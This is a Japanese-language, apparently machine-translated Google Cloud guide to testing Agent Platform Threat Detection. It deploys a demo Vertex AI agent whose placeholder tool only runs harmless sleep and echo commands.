Google uses AI technology to translate content into your preferred language. AI translations can contain errors.

Agent Platform Threat Detection をテストする

このページでは、検出機能を意図的にトリガーして検出結果をチェックすることで、Agent Platform Threat Detection の動作を確認する方法について説明します。Agent Platform Threat Detection は、Security Command Center の組み込みサービスです。

始める前に

Agent Runtime エージェントに対する潜在的な脅威を検出するには、 Security Command Center で Agent Platform Threat Detection サービスが有効になっていることを確認します。

環境を設定する

Agent Platform Threat Detection をテストするには、悪意のあるアクティビティをシミュレートするデモエージェントを設定します。

プロジェクトを作成してシェルをアクティブにする

テストに使用する Google Cloud プロジェクトを選択または作成します。

検出機能をテストするには、 Google Cloud コンソールと Cloud Shell を使用します。

コンソールに移動します。Google Cloud

コンソールに移動 Google Cloud
テストに使用するプロジェクトを選択します。
[Cloud Shell をアクティブにする] をクリックします。

ローカルシェルからテスト手順を実行することもできます。

Agent Runtime を設定する

このプロジェクトで Agent Runtime を使用したことがない場合は、開始する前に Agent Runtime 環境を設定します。作成した Cloud Storage ステージングバケットの名前を記録します。また、Agent Runtime クイックスタートに沿って、Vertex AI SDK でエージェントを開発してデプロイする方法を学習することをおすすめします。

テストスクリプトを作成する

テスト用の新しいエージェントをデプロイするために使用するファイルをいくつか作成します。これには、nano などのテキストエディタを使用します。

次の内容で requirements.txt という名前の新しいファイルを作成します。

google-cloud-aiplatform[agent_engines]
google-adk
google-genai
aiohttp
cloudpickle
pydantic

installation_scripts/install.sh という名前の新しい空のファイルを作成します。一部のテストでは、このファイルにコンテンツを追加する必要があります。

次の内容で main.py という名前の新しいファイルを作成します。PROJECT_ID、LOCATION、STAGING_BUCKET 変数を置き換えます。ステージングバケット名には gs:// 接頭辞を含める必要があります。

import asyncio
import os
import subprocess
import socket
import vertexai
from vertexai import Client, agent_engines
from google.adk.agents import llm_agent
from google.adk.sessions.in_memory_session_service import InMemorySessionService

# Replace with your own project, location, and staging bucket.
LOCATION = "LOCATION"
PROJECT_ID = "PROJECT_ID"
# Staging bucket must have gs:// prefix
STAGING_BUCKET = "STAGING_BUCKET"

client = Client(project=PROJECT_ID, location=LOCATION)

def _run_command(args, **kwargs):
  output = f"Called {' '.join(args)}\n"
  try:
    res = subprocess.run(args, capture_output=True, text=True, **kwargs)
    if res.stdout:
      output += f"Result: {res.stdout.strip()}\n"
    if res.stderr:
      output += f"Error: {res.stderr.strip()}\n"
  except subprocess.TimeoutExpired:
    output += "Command timed out as expected."
  return output

# Tool to simulate threats. The function body will be replaced for individual
# detector tests.
def threat_detection_test():
  output = _run_command(["sleep", "60"])
  output += _run_command(["echo", "this is a fake threat"])
  output += _run_command(["sleep", "10"])
  return output

root_agent = llm_agent.Agent(
    model="gemini-2.5-flash",
    name="threat_detection_test_agent",
    description="Runs threat detection test.",
    instruction="""
      You are an agent that runs a threat detection test using a fake malicious
      command.
    """,
    tools=[threat_detection_test],
)

async def main():
  vertexai.init(
    project=PROJECT_ID,
    location=LOCATION,
    staging_bucket=STAGING_BUCKET,
  )
  app = agent_engines.AdkApp(
      agent=root_agent, session_service_builder=InMemorySessionService
  )
  remote_agent = client.agent_engines.create(
      agent=app,
      config={
          "display_name": "scc_threat_test_agent",
          "identity_type": vertexai.types.IdentityType.AGENT_IDENTITY,
          "requirements": [
              "google-cloud-aiplatform[agent_engines,adk]",
              "cloudpickle",
              "pydantic",
          ],
          "staging_bucket": STAGING_BUCKET,
          "extra_packages": [
              "installation_scripts/install.sh",
          ],
      },
  )
  print("Deployed agent: ", remote_agent.api_resource.name)

  try:
      async for event in remote_agent.async_stream_query(
          user_id="threat_detection_tester",
          message="Run the threat detection test",
      ):
        print(event)
  finally:
      client.agent_engines.delete(name=remote_agent.api_resource.name, force=True)

if __name__ == "__main__":
  asyncio.run(main())

仮想環境を設定する

Python 仮想環境を作成してアクティブにします。
```
  python3 -m venv env
  source env/bin/activate
```
必要な依存関係を仮想環境にインストールします。
```
pip install -r requirements.txt
```

スクリプトをテストする

python3 main.py を使用して、仮想環境内からスクリプトを実行します。このコマンドは、テストエージェントのビルド、デプロイ、実行に数分かかります。

スクリプトは、デプロイされたエージェントのリソース名と、LLM レスポンスやその他のメタデータを含むいくつかの JSON オブジェクトを出力します。この段階で権限エラーやデプロイエラーが発生した場合は、トラブルシューティングで次の手順を確認してください。

検出機能をテストする

Agent Platform Threat Detection の検出機能をテストするには、threat_detection_test 関数のコードを、攻撃をシミュレートするコードに置き換えます。スクリプトのデプロイとエージェントのクエリに時間がかかることがあります。テストを高速化するには、これらの関数の内容を組み合わせて使用します。